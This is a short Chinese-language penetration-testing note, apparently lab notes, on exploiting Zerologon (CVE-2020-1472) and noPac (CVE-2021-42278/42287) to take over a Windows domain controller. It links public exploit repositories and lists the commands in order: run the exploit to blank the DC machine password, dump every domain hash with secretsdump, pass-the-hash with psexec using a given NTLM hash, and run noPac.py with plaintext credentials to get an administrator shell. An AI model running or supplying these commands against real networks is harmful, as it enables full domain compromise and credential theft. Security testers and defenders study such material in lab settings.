CVE-2020-1472
域內有一個服務:MS-NRPC(建立與域控安全通道),可利用此漏洞獲取域管訪問權限。
- 檢測這個漏洞能不能打,能打之后,將域控的機器hash置空,密碼為空,那么你就可以通過空的hash讀取administrator的密碼(dcsync,administrator domain admins 機器用戶,domain control)
- 環境的準備
windows2019 域控
Impacket工具包:https://github.com/SecureAuthCorp/impacket.git
poc:https://github.com/SecuraBV/CVE-2020-1472.git
exp:https://github.com/dirkjanm/CVE-2020-1472
exp:https://github.com/risksense/zerologon
- 先用poc檢測
https://github.com/SecuraBV/CVE-2020-1472
python zerologon_tester.py WIN-EB8RC552TFJ 10.10.10.90
Given a domain controller named `WIN-EB8RC552TFJ` with IP address `192.168.7.49`, run the script as follows
- 在使用exp利用
https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py WIN-EB8RC552TFJ 10.10.10.90
- PTH拿下域控
secretsdump該工具讀取域內全部的hash
secretsdump.exe sis2504/WIN-EB8RC552TFJ$@10.10.10.90 -just-dc -no-pass
psexec.exe administrator@10.10.10.90 -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823
CVE-2021-42278 & CVE-2021-42287
域內允許加入域的用的(我們的客戶機在加入域的時候,會輸入一個賬戶名和密碼,域允許這個用戶創建一個機器賬戶),域允許這個用戶(test001)創建一個機器用戶(域控制器的hostname--dc,dc$)當你用DC$(test001創建的這個機器賬戶申請票據的時候,域控會將你識別成自己,就把自己的票(TGT))就發給你了,你是不是就擁有了一張高權限的票。
- 利用條件
具有一個域內的合法的用戶 -- 低權限 高權限 都可以
合法的用戶怎么獲取:用戶名+密碼噴灑 asprating kerberosting
- 漏洞利用
先做掃描 -- 檢測一下這個漏洞能不能打 poc的檢測
python scanner.py sis2504.club/zhangli:"FLW.com12138a" -dc-ip 192.168.7.49 -use-ldap
python noPac.py sis2504.club/zhangli:"FLW.com12138a" -dc-ip 192.168.7.49 -dc-host WIN-EB8RC552TFJ -shell --impersonate administrator -use-ldap
其他的用法自己看readme.md